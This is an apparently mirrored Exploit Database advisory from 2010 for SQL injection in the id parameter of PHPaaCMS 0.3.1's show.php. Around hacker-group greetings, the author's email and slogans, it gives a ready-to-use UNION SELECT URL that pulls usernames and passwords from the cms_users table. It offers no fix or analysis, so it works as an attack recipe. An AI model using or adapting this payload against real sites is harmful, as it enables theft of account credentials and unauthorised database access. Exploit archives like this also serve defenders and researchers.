PHPaaCMS 0.3.1 – ‘show.php?id’ SQL Injection

• Exploit Database
• 33 阅读

• 作者： Shafiq-Ur-Rehman
  日期： 2010-07-04
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14199/

• #Exploit Title: phpaaCms (show.php?id=) SQL injection Vulnerable
  # Software http://www.phpaa.cn
  # Tested on: win 7
  # category: webapp
  # Code : n/a
  +++++++++++++++++++++++++++++++++++++++++++++++++++++++
   MWUHH TO Bl00dMafia: KashmiriMafia, Mirpuri, Mirzatun: gula, Boby, Mota & aSIM^JARRAL
  ++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  
  
  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++
   Gr33tz toAll PakISTANI Hackers 
  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++
   
  
   
  ----- [ Founder ] -----
   
  Shafiq-Ur-rehman
   
  ----- [ Email] -----
   
  aol.shafiq@gmail.com
   
   
   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
   
   {{{{TITLE}}}
   
  PHPAA (show.php) Sql injection Vulnerable
   
  +++++[ Vendor ]+++++
   
  http://www.phpaa.cn
   
  
  ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  
   
  ----- [ SQL Injection ] -----
   
  Put [SQL CODE]
   
  [Link] http://server/phpaaCMS/show.php?id=1[SQL CODE]
   
  
  
   {Tested On}
   
  ----- [ Live Link (s) ] -----
   
  [SQLi] http://<server>/show.php?id=1[CODE]
   
  [SQLI] http://server/phpaaCMS/show.php?id=-194 union all select 1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users--
   
  
   
  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  Thanks To All: www.Exploit-db.com | Ksecurity-team Members| 
  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-muwhhh>>> http://www.sql-injection-tools.blogspot.com
   
  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
   >>Live Long Pakistan<<
   
  >>> Live Long Azad Kashmir<<<
   
  >>> Proude To Be A Kashmiri+Pakistani<<<
  >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
   
  >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>Bug discovered : 4 July 2010